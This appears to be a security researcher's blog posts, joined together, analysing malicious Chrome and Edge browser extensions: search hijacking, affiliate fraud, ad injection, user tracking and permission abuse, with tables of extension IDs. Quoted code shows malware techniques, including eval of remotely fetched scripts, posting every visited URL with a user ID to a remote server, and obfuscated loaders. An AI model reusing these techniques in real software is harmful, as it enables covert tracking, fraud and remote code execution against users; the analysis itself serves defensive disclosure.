passwords online. And the encryption was horribly misimplemented. If you look at it this way, there have been considerable improvements to Chrome Sync over the past five years. But it still isn’t resembling a service meant to respect users’ privacy. That’s by design of course: Google really doesn’t want you to use effective protection for your data. That data is their profits. Comparison to Firefox Sync I suspect that people skimming my previous article on the topic took away from it something like “both Chrome Sync and Firefox Sync have issues, but Chrome fixed theirs.” Nothing could be further from the truth. While Chrome did improve, they are still nowhere close to where Firefox Sync started off. Thing is: Firefox Sync was built with privacy in mind. It was encrypting all data from the very start, by default. Mozilla’s goal was never monetizing this data. Google on the other hand built a sync service that allowed them to collect all of users’ data, with a tiny encryption shim on top of it. Outside pressure seems to have forced them to make Chrome Sync encryption actually usable. But they really don’t want you to use this, and their user interface design makes that very clear. Given that, the Firefox Sync issue I pointed out is comparably minor. It isn’t great that five years weren’t enough to address it. This isn’t a reason to discourage people from using Firefox Sync however.

When installing browser extensions in Google Chrome, you are asked to confirm the extension’s permissions. In theory, this is supposed to allow assessing the risk associated with an extension. In reality however, users typically lack the knowledge to properly interpret this prompt. For example, I’ve often seen users accusing extension developers of spying just because the prompt says they could.
On the other hand, people will often accept these cryptic prompts without thinking twice. They expect the browser vendors to keep them out of harm’s way, trust that isn’t always justified [1] [2] [3]. The most extreme scenario here is casual games not interacting with the web at all, yet requesting access to all websites. I found a number of extensions that will abuse this power to hijack websites. Contents The affected extensions False pretenses Search hijacking Code injection Ad injection
The affected extensions The extensions listed below belong to four independent groups. Each group is indicated in the “Issue” column and explained in more detail in a dedicated section below. As the extension IDs are getting too many, I created a repository where I list the IDs from all articles in this series. There is also a check-releases utility available for download that will search local browser profiles for these extensions. Extensions in Chrome Web Store: Name Weekly active users Extension ID Issue 2048 Classic Game 486,569 kgfeiebnfmmfpomhochmlfmdmjmfedfj False pretenses
Tetris Classic 461,812 pmlcjncilaaaemknfefmegedhcgelmee False pretenses
Doodle Jump original 431,236 ohdgnoepeabcfdkboidmaedenahioohf Search hijacking
Doodle Jump Classic Game 274,688 dnbipceilikdgjmeiagblfckeialaela False pretenses
Slope Unblocked Game 99,949 aciipkgmbljbcokcnhjbjdhilpngemnj Search hijacking
Drift Hunters Unblocked Game 77,812 nlmjpeojbncdmlfkpppngdnolhfgiehn Search hijacking
Vex 4 Unblocked game 63,164 phjhbkdgnjaokligmkimgnlagccanodn Search hijacking
Crossy Road Game unblocked 9,511 fkhpfgpmejefmjaeelgoopkcglgafedm Search hijacking
Flappy Bird New Tab 7,808 kekdpkbijjffmohdaonbpeeaiknhbkhj Ad injection
Run 3 Unblocked 7,299 mcmmiinopedfbaoongoclagidncaacbd Search hijacking Extensions in Edge Add-ons store: Name Weekly active users Extension ID Issue Slope Unblocked Game 6,038 ndcokkmfmiaecmndbpohaogmpmchfpkk Code injection
Drift Hunters Unblocked 3,107 cpmpjapeeidaikiiemnddfgfdfjjhgif Code injection
Tetris Classic 2,052 ajefbooiifdkmgkpjkanmgbjbndfbfhg False pretenses False pretenses Last week, I’ve written about a cluster of browser extensions that would systematically request excessive permissions, typically paired with attempts to make it look like these permissions are actually required. This article already lists several casual games among other extensions. This isn’t the only large cluster in Chrome Web Store however, there is at least one more. The 34 malicious extensions Google removed recently belonged to this cluster. I’m counting at least 50 more extension in this cluster without obvious malicious functionality, including three casual games. The extension “2048 Classic Game” and similar ones request access to all websites. They use this access to run a content script on all websites, with code like this: let {quickAccess} = await chrome.storage.local.get("quickAccess"); if (quickAccess) displayButton(); function displayButton() { document.addEventListener("DOMContentLoaded", async () => { if (!document.getElementById(`${ chrome.runtime.id }-img`)) { document.body.insertAdjacentHTML("beforebegin", "…"); document.getElementById(`${ chrome.runtime.id }-btn`) .addEventListener("click", () => { chrome.runtime.sendMessage({ action: "viewPopup" }); }); } }); } Yes, there is a race condition here: what if storage.local.get() call is slow and finishes after DOMContentLoaded event already fires? Also: yes, adding some HTML code to the beginning of every page is going to cause a massive mess. None of this is really a problem however as this code isn’t actually meant to run. See, the quickAccess flag in storage.local is never being set. It cannot, these extensions don’t have a preferences page. So this entire content script serves only as a pretense, making it look like the requested permissions are required when they are really not. At some point in the future these extensions are meant to be updated into malicious versions which will abuse these permissions. Search hijacking The “Vex 4 Unblocked game” and similar extensions actually contain their malicious code already. They also inject a content script into all web pages. First that content script makes sure to download “options” data from https://cloudenginesdk.com/api/v2/. It then injects a script from the extension into the page: let script = document.createElement("script"); script.setAttribute("data-options", data); script.setAttribute("src", chrome.runtime.getURL("js/options.js")); script.onload = () => { document.documentElement.removeChild(script); }; document.documentElement.appendChild(script); What does the “options” data returned by cloudenginesdk[.]com look like? The usual response looks like this: { "check":"sdk", "selector":".game-area", "mask":"cloudenginesdk.com", "g":"game", "b":"beta", "debug":"" } Given the code in js/options.js, this data makes no sense. The mask field specifies which websites the code should run on. This code clearly isn’t meant to run on cloudenginesdk.com, a website without any pages. So this is a decoy, the server will serve the actual malicious instructions at some point in the future. Without having seen the instructions, it’s still obvious that the code processing them is meant to run on search pages. The processing for Google search pages booby-traps search results: when a result link is clicked, this script will open a pop-up, sending you to some page receiving your search query as parameter. For Yahoo pages, this script will download some additional data containing some selectors. Your clicks to one element are then redirected to another element. Presumably, the goal is making you click on ads (ad fraud). That’s only the obvious part of the functionality however. In addition to that, this code will also inject additional scripts into web pages, presumably showing ads. It will send your search queries to some third party. And it has the capability of running arbitrary JavaScript on any web page. So while this seems to be geared towards showing you additional search ads, the same functionality could hijack your online banking session for example. Code injection The malicious games in Microsoft’s Edge Add-ons store have slight similarities to the ones doing search hijacking. I cannot be certain that they are being published by the same actor however, their functionality is far less sophisticated. The content script simply injects a “browser polyfill” script: chrome.storage.local.get("polyfill", ({polyfill}) => { document.documentElement.setAttribute("data-polyfill", polyfill); let elem = document.createElement("script"); elem.src = chrome.runtime.getURL("js/browser-polyfill.js"); elem.onload = () => { document.documentElement.removeChild(elem) }; document.documentElement.appendChild(elem); }); And what does that “polyfill” script do? It runs the “polyfill” code: const job = document.documentElement.getAttribute("data-polyfill"); document.documentElement.removeAttribute("data-polyfill"); job && eval(job); So where does this “polyfill” code come from? The extension downloads it from https://polyfilljs.org/browser-polyfill. For me, this download produces only an empty object. Presumably, it will only give out the malicious script to people who have been using the extension for a while. And that script will be injected into each and every website visited then. Ad injection Finally, there is the “Flappy Bird New Tab” extension. Its content script will inject an invisible frame pointing to https://object.center/medium into every web page. The code calls it prefsFrame but it is very obvious that this isn’t about preferences. Instead, the page loaded in the frame contains some mildly obfuscated code checking document.referrer. It contains a list of almost 500 websites. If one such website is recognized, the frame redirects itself to https://shor.link/s/r/ or https://staticxev.com/s/s/. And then you are for example confronted with these scary warnings:
The good news: after displaying a number of supposed “threats” this sends you to the real Avira website. So this is only about scaring you into getting an antivirus subscription and collecting commission, not about getting you to install malicious software. Also, with the malicious code here running inside a frame, it cannot affect the websites you are visiting. The server can still see which websites you browse however. I couldn’t find any other extension with the same code. User reports indicate that there definitely used to be some in the past however, mostly pretending to be YouTube downloaders.

We’ve already seen Chrome extensions containing obfuscated malicious code. We’ve also seen PCVARK’s malicious ad blockers. When looking for more PCVARK extensions, I stumbled upon an inconspicuous extension called “Translator - Select to Translate.” The only unusual thing about it were its reviews, lots of raving positive reviews mixed with usability complains. That, and the permissions: why does a translator extension need webRequest and webRequestBlocking permissions? When I looked into this extension, I immediately discovered a strange code block. Supposedly, it was buggy locale processing. In reality, it turned out to be an obfuscated malicious logic meant to perform affiliate fraud. That extension wasn’t alone. I kept finding similar extensions until I had a list of 109 extensions, installed by more than 62 million users in total. While most of these extensions didn’t seem to contain malicious code (yet?), almost all of them requested excessive privileges under false pretenses. The names are often confusingly similar to established products. All of these extensions are clearly meant for dubious monetization.
If you aren’t interested in the technical details, you should probably go straight to the list of affected extensions. Contents Malicious code Adblock all advertisments Translator - Select to Translate The Great Suspender and Flash Video Downloader What are the other extensions up to? Policy violations Access to all websites The webRequest/declarativeNetRequest permission Remote code execution User tracking Rudimentary functionality The companies developing these extensions The affected extensions
Malicious code Altogether, I found malicious functionality in four browser extensions. There might be more, but I didn’t have time to thoroughly review more than a hundred browser extensions. Adblock all advertisments No, I didn’t mistype the extension name. It is really named like that. When opened it up, this turned out to be the most lazy ad blocker I’ve ever seen. Its entire ad blocking functionality essentially consists of 33 hardcoded rules and a tiny YouTube content script. But wait, there is some functionality to update the rules! Except: why would someone put rule updates into a tabs.onUpdated listener? This is the code running whenever a tab finishes loading (simplified): let response = await fetch("https://smartadblocker.com/extension/rules/api", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ url: tab.url, userId: (await chrome.storage.sync.get("userId")).userId }) }); let json = await response.json(); for (let key in json) … Supposedly, the response is a list of rules instructing the extension to remove elements on the page by their id, class or text. In reality this website always responds with “502 Bad Gateway.” Now the website could of course be misconfigured. It’s more likely however that the website is working as intended: logging the incoming data (each address you navigate to along with your unique ID) and producing an error message to discourage anyone who comes looking. It’s not like the developers behind these extensions don’t know how to produce a (moderately) better ad blocker. My list also features an extension called “Adblock Unlimited” which, despite similar code, manages to ship more than 10,000 rules. It also manages to complement these rules with dynamically downloaded anti-malware rules without leaking your visited addresses. Oh, and it has “anti-malware protection”: a content script that will detect exclusively test pages like maliciouswebsitetest.com. Translator - Select to Translate My list features nine very similar, yet subtly different translator extensions. One of the differences in “Translator - Select to Translate” is a number of unusual functions, seemingly with the purpose of obfuscating the purpose of the code. For example, there is this gem: var base = e => e ? atob(e) : "parse"; This function is either used with a parameter to decode Base64, or without parameters to obfuscate a JSON.parse() call. When you start looking how these weird functions are used, it all leads to the locales() function: function locales(callback) { chrome.runtime.getPackageDirectoryEntry(dirEntry => { dirEntry.getDirectory("_locales", {}, dir => { const reader = dir.createReader(); const promises = []; reader.readEntries(entries => { for (const entry of entries) { if (!entry.name.startsWith(".")) { promises.push(new Promise((resolve, reject) => { const name = entry.name; entry.getFile("../messages.json", {}, entry => { entry.file(file => { const fileReader = new FileReader(); fileReader.onloadend = () => { resolve({ k: name, v: JSON.parse(fileReader.result) }); }; fileReader.readAsText(file); }); }); })); } } callback(promises); }); }); }); } On the first glance, this looks like a legitimate function to read the locale files. Except: there is a “bug,” it reads "../messages.json" instead of "messages.json". So regardless of the locale, the file being read is _locales/messages.json. The processing of the “locales” confirms that this is not a bug but rather intentional: combine(locales.sort() .filter(locale => locale.k.charCodeAt(0) % 5 != 0) .map(locale => locale.v.v.message + locale.v.s.message) .join("") ); Yes, calculating the modulo of the first character in the locale name isn’t something you would normally find in any legitimate locale handling code. And neither would one concatenate the messages for locale strings named v and s. When one looks at the combine() function, things only get weirder. If I got this correctly, the “locale data” is parsed by performing Base64-decoding twice and parsing the result as JSON then. And then you get code like the following (simplified here): var upd = data.upd; var c = document[upd.cret](upd.crif); From the context it’s obvious: this is calling document.createElement(). But it isn’t always possible to know for sure because the malicious messages.json file is missing from the extension. Presumably, the idea was publishing the code first and adding the malicious instructions later, in an update that wouldn’t raise suspicions. With the instructions missing, understanding the code is tricky. Many calls can be guessed by their signature however. In particular, I can see an HTML element being created to initiate a web request. Additional data is then being extracted from the HTTP headers of the response. Presumably, the actual response data is something innocuous, meant to throw anyone off track who is monitoring network traffic. After that at least two listeners are registered, presumably for webRequest.onBeforeSendHeaders and tabs.onUpdated events. While the former replaces/adds some HTTP header, the latter manipulates addresses and redirects some websites. Even before I found the other extensions I guessed that this is about affiliate fraud: when you visit a shopping website, this code redirects you so that you get to the shop with the “right” affiliate ID. The publisher of the extension earns a commission for “referring” you to the shop then. Of course, the same code could just as well redirect your banking session to a phishing website. The Great Suspender and Flash Video Downloader In case the name The Great Suspender sounds familiar and you are surprised to see it here: The Great Suspender used to be an open source extension, its code is still available on GitHub. Somebody took it and added some malicious code to it. Very similar code can be found in the Flash Video Downloader extension. The code in question masquerades as a license check. The “license” is being downloaded from https://www.greatsuspender.com/license_verification and https://www.flashvidownloader.com/license_verification respectively. The first time this download happens, the response will be reassuring: {"settings":"{default:[true]}","license":"FREE","enable":"true","time":20946} Looks fine? Well, the next download after a few hours will produce the real result:
Difficult to read? That’s probably because the p key of these objects is actually a position referring to a long encoded string. Let’s replace it by the strings it refers to:
So p is what this code looks for in a website address. If a match is found (and a number of other conditions met), you will be redirected to https://prj1.com/1 where is the digit in the pr key and the second value in the array stored under the r key. All the redirects happen via the domains prj11[.]com, prj12[.]com, prj13[.]com, prj14[.]com, prj15[.]com. There is also some special code for booking.com that will replace the aid parameter with a random affiliate out of a given list. If someone from Booking is reading and interested, the affiliate codes in question are: 1481387, 1491966, 1514055, 1575306, 1576925, 1582062, 230281, 230281, 230281, 7798654, 7798654, 7801354, 7805513, 7811018, 7811298, 7825986, 7825986. And now that we know which domains are being used here, it’s trivial to find user complains. For example, this Reddit thread identified The Great Suspender as the culprit two years ago. But one doesn’t have to go that far, the reviews for The Great Suspender in the Chrome Web Store are full with user complains. For example, this two years old review names the problem quite explicitly:
Or a newer one:
Yet the extension is still available in the Chrome Web Store. What are the other extensions up to? Four outright malicious extensions leaves 105 extensions without obvious malicious functionality. What are these up to? Are they harmless? I sincerely doubt that. These extensions are accumulating users with the purpose of monetizing them, likely via similarly dubious means. Policy violations Typically, these extensions violate at least two Chrome Web Store policies. There is a policy on spam and abuse: We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store. Extensions should provide value to users through the creation of unique content or services. Well, 13 almost identical video downloaders, 9 almost identical volume boosters, 9 almost identical translation extensions, 5 almost identical screen recorders are definitely not providing value. What they do is making it harder to people to find proper products that solve their problem. There is also Chrome Web Store policy on extension permissions: Request access to the narrowest permissions necessary to implement your Product’s features or services. If more than one permission could be used to implement a feature, you must request those with the least access to data or functionality. Don’t attempt to “future proof” your Product by requesting a permission that might benefit services or features that have not yet been implemented. Almost all of these extensions do the exact opposite: request as many permissions as they can get away with. Access to all websites Out of the 109 extensions listed, 102 request access to all websites, often paired with the tabs privilege. This privilege level is essential in order to conduct affiliate fraud: it allows detecting when you are about to visit a particular website. These privileges also allow spying on you however, e.g. by compiling a browsing profile as we’ve seen with the ad blocking extension above. And they even allow injecting JavaScript code into the websites you visit. Almost none of these extensions need this level of access for their functionality. In most cases, permissions for a single domain or the far less problematic activeTab permission would have been sufficient. In fact, in quite a few extensions one can still see https://*.youtube.com/ or activeTab in the list of permissions, only to be followed up by that the developers added later for reasons unrelated to functionality. In particular, the five game extensions on my list don’t interact with websites at all. Yet all of them still request access to all websites. The webRequest/declarativeNetRequest permission The webRequest API and its Manifest V3 pendant declarativeNetRequest API are among the most powerful tools available to browser extensions. They allow extensions to watch all the web requests being performed by the browser. In combination with the webRequestBlocking permission, they also allow blocking any web requests or even replacing web server responses. This is the kind of functionality required to run an ad blocker, but rarely anything else. So very few extensions should be requesting these permissions. Yet 66 out of 109 extensions (61%) on my list do. For reference: when looking at extensions with similar popularity in all of Chrome Web Store, I count only 35% of them requesting these permissions. Presumably, Chrome Web Store performs automated checks to determine whether permissions are actually being used. So these extension contain code designed to fool these checks, e.g.: function handleResponseHeaders() { chrome.webRequest.onHeadersReceived.addListener( details => ({ responseHeaders: details.responseHeaders }), { urls: [""] }, [ "blocking", "responseHeaders" ] ); } This code slows down the browser by adding a listener, yet it doesn’t actually do anything. Instead of processing the headers, it merely returns them unchanged. Also popular: extracting some data, then never using it. But this is actually the good code because some of these decoys are harmful. Quite a few will remove security headers like Content-Security-Policy or X-Frame-Options, others will mess with the User-Agent or Set-Cookies headers. The damage here might not be obvious but it’s there. Tab Suspender extension took another approach: it incorporated some very rudimentary and error-prone tracker blocking functionality. It makes no sense in this extension, and most likely no user enables it. But it is used as justification for the webRequest permission. Other than the ad blockers, only some of the downloader extensions seem to have webRequest functionality that is actually useful. Yet even those got additional dummy calls, just in case. The honorary mention goes to the Classic 2048 extension which includes a dummy webRequest call without even requesting the webRequest permission. Remote code execution Normally, extensions are protected by the default Content Security Policy that allows only code contained within the extension to run. Malicious extensions often want to circumvent this security mechanism however, so that they can put the malicious code on some web server where it cannot be as easily inspected. The extensions here take an easier route and relax the Content Security Policy restrictions instead. 32 out of 109 extensions (29%) allow ’unsafe-eval’ in their extension manifests. For comparison, only 9% of the similarly popular extensions in Chrome Web Store do this. I haven’t found an extension that would actually use that loophole to download and run remote JavaScript code. But maybe I simply wasn’t thorough enough. User tracking Almost all extensions on this list include a class which is sometimes named ExtStatTracker, more often however in a less conspicuous way. It regularly performs requests mildly masquerading as configuration downloads, except that the resulting “config” is never used. Obviously, the purpose of these requests is transmitting data about the user: which extension, which version and, most importantly, which user. Each user is assigned a unique randomly generated identifier that is sent along with all requests. There is also an “action” request performed when the extension starts up. Same data is being sent here as for the “config” download. The response might contain a url field, this page will open in a new tab then. No, I wouldn’t count on it being a welcome page. Each extension uses its own domain as tracking endpoint. This domain often doesn’t match the extension name however, either because the extension name changed too often or because the developers simply didn’t care to use a matching domain name. Rudimentary functionality Clearly, providing a great user experience was never the goal of these extensions. Their idea was rather making it seem like the extension is working with as little effort as possible. The better extensions appear to be based on some previous work, either open source code or an existing product that changed hands. Others have been built from scratch and barely function at all. So it’s not surprising that the review sections are filling up with complains about functional issues. Still, most of these extensions have four or more stars on average. For once, many of them are begging for reviews. Some reviewers even complain that they are required to review before using the extension. But there are also more classic fake reviews of course. These don’t even mention extension functionality but simply go on raving about how the extension changed their life. Some reviews show that at least some of the extensions used to have an entirely different purpose. For example, not all the ChatGPT extensions are new. At least one of them used to be a translation extension which got repurposed. The companies developing these extensions Most of these extensions are published anonymously. The developer’s email address is always some meaningless Gmail account. If there is any website content at all, it is largely meaningless as well. The privacy policy is some generic text not mentioning the developers and barely mentioning the extension at all – and then often enough with a wrong name. So I was very surprised to discover that Moment Dashboard and Infinite Dashboard extensions list a developing company in their privacy policies. These extensions are monetizing themselves via the search field on the new tab page, so maybe the developers considered this business model legal enough to mention a name. Either way, Moment Dashboard is developed by Kodice LLC based in Dubai, United Arab Emirates, and Infinite Dashboard is developed by Karbon Project LP based in London, UK. Yes, two different companies, despite these two extensions being close to identical. This seeming contradiction is resolved when you look at the management of these companies. Turns out, the CEO of Karbon Project LP moved on to be the co-founder of Kodice LLC. But that’s not all of it yet. The same person also founded Bigture, a company based in Warsaw, Poland. As it turns out, Bigture develops Dark Theme Tab extension which also made my list. And that uTab Dashboard? Developed by another London-based startup: Appolo One LTD. Coincidentally, their founder happens to be a partner at Kodice LLC. And he is also the CTO who is recruiting developers for the Hong Kong based BroCode LTD. No, not in Hongkong but for the office in Kharkiv, Ukraine (before the war). A vacancy at BroCode LTD from November 2020, looking for a JavaScript developer to “create new cool browser extensions and support/improve existing ones.”
Another related extension: Clock New Tab. This one was developed by a Cyprus-based T.M.D.S. TECHNICAL MANAGEMENT LIMITED. Or maybe Bigture, depending on which Clock New Tab website you look at. Yes, the two websites are still online and have identical design. The two extensions are gone however, removed from Mozilla’s add-ons website in 2021.
If all of this sounds like a money laundering scheme, then maybe that’s because it is one. Either way, these companies describe themselves as specializing in advertising and affiliate marketing. Karbon Project existed since 2011 according to their website. While their incorporation papers show being founded in 2018 by two companies based on Seychelles, there is in fact evidence that it existed prior to that. And they apparently already made a name for themselves as makers of potentially unwanted software. In addition to browser extensions, they also publish at least two web browsers. I checked the corresponding installers with VirusTotal and: surprise, they are being detected as trojans! [1] [2] Oh, and just because this hasn’t been enough fun already: these browser installers are signed by Rizzo Media LP which shares its address with Karbon Project LP in London. It has also been founded by the same two Seychelles companies. I sent an email to Karbon Project LP, Kodice LLC and Bigture asking for comment on who developed all these browser extensions. So far neither company replied. The affected extensions This list is certain to be incomplete. It’s mostly based on my sample of 1,670 popular Chrome extensions, not all of Chrome Web Store. User counts reflect the state for 2023-06-05. Note that only the first four of these extensions are currently malicious from what I can tell. However, they were clearly created with the intention of abusing extension privileges at some point. Note also that the extension names change frequently and only the IDs can be used to reliably identify an extension. While allowing execution of remote code (unsafe-eval) isn’t technically a permission, I listed it under permissions to simplify the presentation. Name Weekly active users Extension ID Relevant permissions Adblock all advertisments - No Ads extension 741,224 gbdjcgalliefpinpmggefbloehmmknca All websitesdeclarativeNetRequesttabs
Translator - Select to Translate 528,568 eggeoellnjnnglaibpcmggjnjifeebpi All websiteswebRequestnotifications
Flash Video Downloader 240,450 ionpbgeeliajehajombdeflogfpgmmel All websitesdownloadstabswebRequestunsafe-eval
The Great Suspender 174,646 jaekigmcljkkalnicnjoafgfjoefkpeg All websiteshistorytabs
Floating Video - Picture in Picture mode 102,486 aeilijiaejfdnbagnpannhdoaljpkbhe All websiteswebRequest
Sidebarr - chatgpt, bookmarks, apps and more 162,384 afdfpkhbdpioonfeknablodaejkklbdn All websitesbookmarkstabswebRequest
Cute Cursors - Custom Cursor for Chrome™ 1,022,641 anflghppebdhjipndogapfagemgnlblh All websitestabs
Volume Booster 4,536,673 anmbbeeiaollmpadookgoakpfjkbidaf All websitestabstabCapturewebRequest
Translator Pro - Quick Translate 486,062 bebmphofpgkhclocdbgomhnjcpelbenh All websitestabswebRequestunsafe-eval
Screen Capture, Screenshot, Annotations 568,357 bmkgbgkneealfabgnjfeljaiegpginpl All websiteswebRequestunsafe-eval
Sound Booster & Volume Control 2,341,097 ccjlpblmgkncnnimcmbanbnhbggdpkie All websitestabCapturewebRequest
Paint Online 171,048 cclhgechkjghfaoebihpklmllnnlnbdb All websiteswebRequestunsafe-eval
Sidegram | Web Client for Instagram™ 282,701 cfegchignldpfnjpodhcklmgleaoanhi All websitescookiesdownloadstabswebRequest
Roblox with extras! - RoBox 362,890 cfllfglbkmnbkcibbjoghimalbileaic All websitesnotificationswebRequest
Video Downloader Plus 785,815 cjljdgfhkjbdbkcdkfojleidpldagmao All websitesdownloadstabswebRequest
Paint Tool for Chrome 213,277 coabfkgengacobjpmdlmmihhhfnhbjdm All websites
Free privacy connection - VPN Guru 529,711 dcaffjpclkkjfacgfofgpjbmgjnjlpmh All websitesproxywebRequest
Screenshot Master and Screen Recorder 717,617 djekgpcemgcnfkjldcclcpcjhemofcib All websitesdesktopCapturedownloadsidentitytabCapturetabsunsafe-eval
Video Downloader Plus 850,811 dkbccihpiccbcheieabdbjikohfdfaje All websitesdownloadstabswebRequest
Night Shift Mode 194,983 dlpimjmonhbmamocpboifndnnakgknbf All websitestabs
Music Downloader - VKsaver 278,761 dmbjkidogjmmlejdmnecpmfapdmidfjg All websiteswebRequestunsafe-eval
Web Color Picker - online color grabber 346,145 dneifdhdmnmmlobjbimlkcnhkbidmlek All websitesnotificationswebRequest
Free Paint Online - Draw on any website 298,489 doiiaejbgndnnnomcdhefcbfnbbjfbib All websiteswebRequestunsafe-eval
Block Site: Site Blocker & Focus Mode 450,216 dpfofggmkhdbfcciajfdphofclabnogo All websitesnotificationstabs
Classic 2048 online game 255,101 eabhkjojehdleajkbigffmpnaelncapp All websites
Gmail Notifier - gmail notification tool 128,201 ealojglnbikknifbgleaceopepceakfn All websitesnotificationstabswebRequest
Audio Capture - Sound Recorder 429,608 ebdbcfomjliacpblnioignhfhjeajpch All websitesdownloadstabCapture
Screenshot Tool - Screen Capture & Editor 784,002 edlifbnjlicfpckhgjhflgkeeibhhcii All websitesunsafe-eval
New Tab with chatgpt for Chrome 163,289 ehmneimbopigfgchjglgngamiccjkijh All websitestabs
New Tab for Google Workspace™ 177,701 ehpgcagmhpndkmglombjndkdmggkgnge bookmarkshistorymanagementtopSites
paint 230,984 ejllkedmklophclpgonojjkaliafeilj All websitestabswebRequestunsafe-eval
Online messengers in All-in-One chat 284,493 ekjogkoigkhbgdgpolejnjfmhdcgaoof All websitestabswebRequest
Video Downloader Ultimate 654,295 elpdbicokgbedckgblmbhoamophfbchi All websitesdownloadswebRequestunsafe-eval
Web Paint 499,229 emeokgokialpjadjaoeiplmnkjoaegng All websiteswebRequestunsafe-eval
Color picker tool - geco 821,616 eokjikchkppnkdipbiggnmlkahcdkikp All websitesnotificationswebRequest
VPN Unlimited - Best VPN by unblock 302,077 epeigjgefhajkiiallmfblgglmdbhfab All websitesproxywebRequest
Flash Player Enabler 314,400 eplfglplnlljjpeiccbgnijecmkeimed All websitesnotifications
ChatGPT Plus for Google 660,571 fbbjijdngocdplimineplmdllhjkaece All websiteswebRequest
Volume Booster - Sound Master pro 1,056,902 fbjhgeaafhlbjiejehpjdnghinlcceak All websitestabCapturewebRequest
Video Downloader for Chrome 432,088 fedchalbmgfhdobblebblldiblbmpgdj All websitesdownloadswebRequestunsafe-eval
InSaverify | Web for Instagram™ 723,983 fobaamfiblkoobhjpiigemmdegbmpohd All websitesdownloadswebRequest
Video Speed Controller - video manager 571,724 gaiceihehajjahakcglkhmdbbdclbnlf None
Sound Equalizer with Volume Booster 160,716 gceehiicnbpehbbdaloolaanlnddailm All websitestabCaptureunsafe-eval
How to Take Screenshot 718,442 ggacghlcchiiejclfdajbpkbjfgjhfol All websitesnotifications
Dark Theme - Night Shift Mode 741,084 gjjbmfigjpgnehjioicaalopaikcnheo All websitestabs
Quick Translate: Reading & writing translator 145,527 gpdfpljioapjogbnlpmganakfjcemifk All websitesdeclarativeNetRequesttabs
HD Video Downloader 783,475 hjlekdknhjogancdagnndeenmobeofgm All websitesdownloadswebRequest
Picture in Picture - Floating Player 790,847 hlbdhflagoegglpdminhlpenkdgloabe All websiteswebRequest
Translator - Web translate, Dictionary 143,032 hnfabcchmopgohnhkcojhocneefbnffg All websitesunsafe-eval
2048 Game 579,610 iabflonngmpkalkpbjonemaamlgdghea All websiteswebRequest
Select to translate - Translator, Dictionary 834,660 ibppednjgooiepmkgdcoppnmbhmieefh All websitestabswebRequest
Simple Translate: Select to Translate 148,542 icchadngbpkcegnabnabhkjkfkfflmpj All websitesdeclarativeNetRequesttabs
Quick Translator - Translate, Dictionary 289,479 ielooaepfhfcnmihgnabkldnpddnnldl All websiteswebRequest
BlockSite: Free Site Blocker & Focus Mode 447,353 ifdepgnnjpnbkcgempionjablajancjc All websitesnotificationstabsunsafe-eval
Scrnli Screen Recorder & Screen Capture App 1,391,249 ijejnggjjphlenbhmjhhgcdpehhacaal All websitesdesktopCapturetabCaptureunsafe-eval
Web Paint Tool - draw online 540,374 iklgljbighkgbjoecoddejooldolenbj All websiteswebRequestunsafe-eval
Free Screen Recorder for Chrome 1,397,721 imopknpgdihifjkjpmjaagcagkefddnb All websitesdesktopCapturedownloadsidentitytabCaptureunsafe-eval
Sound Booster & Pro equalizer- Audio Master 908,736 jchmabokofdoabocpiicjljelmackhho All websitestabCapturetabswebRequest
PDF Viewer 159,253 jdlkkmamiaikhfampledjnhhkbeifokk All websiteswebRequest
Video Downloader Online 659,516 jglemppahimembneahjbkhjknnefeeio All websitesdownloadstabswebRequest
Adblock Unlimited - ad blocker 633,692 jiaopkfkampgnnkckajcbdgannoipcne All websitesdeclarativeNetRequest
Audio Capture - Volume Recorder 282,691 jjgnkfncaadmaobenjjpmngdpgalemho All websitesdownloadstabCapturewebRequest
ChatGPT for Search - Support GPT-4 709,522 jlbpahgopcmomkgegpbmopfodolajhbl None
Adblock for YouTube™ 477,901 jpefmbpcbebpjpmelobfakahfdcgcmkl All websitestabsunsafe-eval
Chatgpt lite - OpenAI 452,660 khdnaopfklkdcloiinccnaflffmfcioa All websiteswebRequest
Doodle games 172,823 kjgkmceledmpdnmgmppiekdbnamccdjp All websiteswebRequest
Tab Suspender 144,708 laameccjpleogmfhilmffpdbiibgbekf All websitestabswebRequestunsafe-eval
Adblock for Youtube - ad blocker tool 504,747 lagdcjmbchphhndlbpfajelapcodekll All websitestabs
Image Downloader - Save photos and pictures 1,108,637 lbohagbplppjcpllnhdichjldhfgkicb All websitesdownloadswebRequest
Video Downloader Wise 334,204 ledkggjjapdgojgihnaploncccgiadhg All websitescookiesdownloadstabswebRequestunsafe-eval
Moment - #1 Personal Dashboard for Chrome 145,695 lgecddhfcfhlmllljooldkbbijdcnlpe topSitesunsafe-eval
Skip Ad - Ad Block & Auto Ad Skip on YouTube 737,164 lkahpjghmdhpiojknppmlenngmpkkfma All websiteswebRequest
Wowsearch 9,871 lkciiknpgglgbbcgcpbpobjabglmpkle webRequestunsafe-eval
Flash Player for Web 838,775 lkhhagecaghfakddbncibijbjmgfhfdm All websitesnotifications
Web client for Instagram™ 147,377 lknpbgnookklokdjomiildnlalffjmma All websitesdownloadswebRequest
Web translator, dictionary - simple translate 797,018 lojpdfjjionbhgplcangflkalmiadhfi All websiteswebRequestunsafe-eval
Video downloader - download any video for free 451,102 mdkiofbiinbmlblcfhfjgmclhdfikkpm All websitesdownloadswebRequestunsafe-eval
Infinite Dashboard - New Tab like no other 233,688 meffljleomgifbbcffejnmhjagncfpbd All websitestabstopSitesunsafe-eval
ChatGPT Assistant for Chrome | SidebarGPT 301,246 mejjgaogggabifjfjdbnobinfibaamla All websitestabs
Good Video Downloader 394,903 mhpcabliilgadobjpkameggapnpeppdg All websitesdownloadswebRequestunsafe-eval
Video Downloader Unlimited 716,091 mkjjckchdfhjbpckippbnipkdnlidbeb All websitesdownloadswebRequest
Video Downloader by 1qvid 986,983 mldaiedoebimcgkokmknonjefkionldi All websitesdownloadswebRequest
Chatgpt friend 565,345 mlkjjjmhjijlmafgjlpkiobpdocdbncj webRequest
Picture-in-Picture - floating video 794,535 mndiaaeaiclnmjcnacogaacoejchdclp All websitesunsafe-eval
Translator uLanguage - Translate, Dictionary 709,192 mnlohknjofogcljbcknkakphddjpijak All websitestabs
VPN Surf - Fast VPN by unblock 443,066 nhnfcgpcbfclhfafjlooihdfghaeinfc All websitesproxywebRequest
ChatGPT for Chrome - search GPT 1,057,279 ninecedhhpccjifamhafbdelibdjibgd None
Sound Booster - increase volume up 752,471 nmigaijibiabddkkmjhlehchpmgbokfj All websitestabCapturetabs
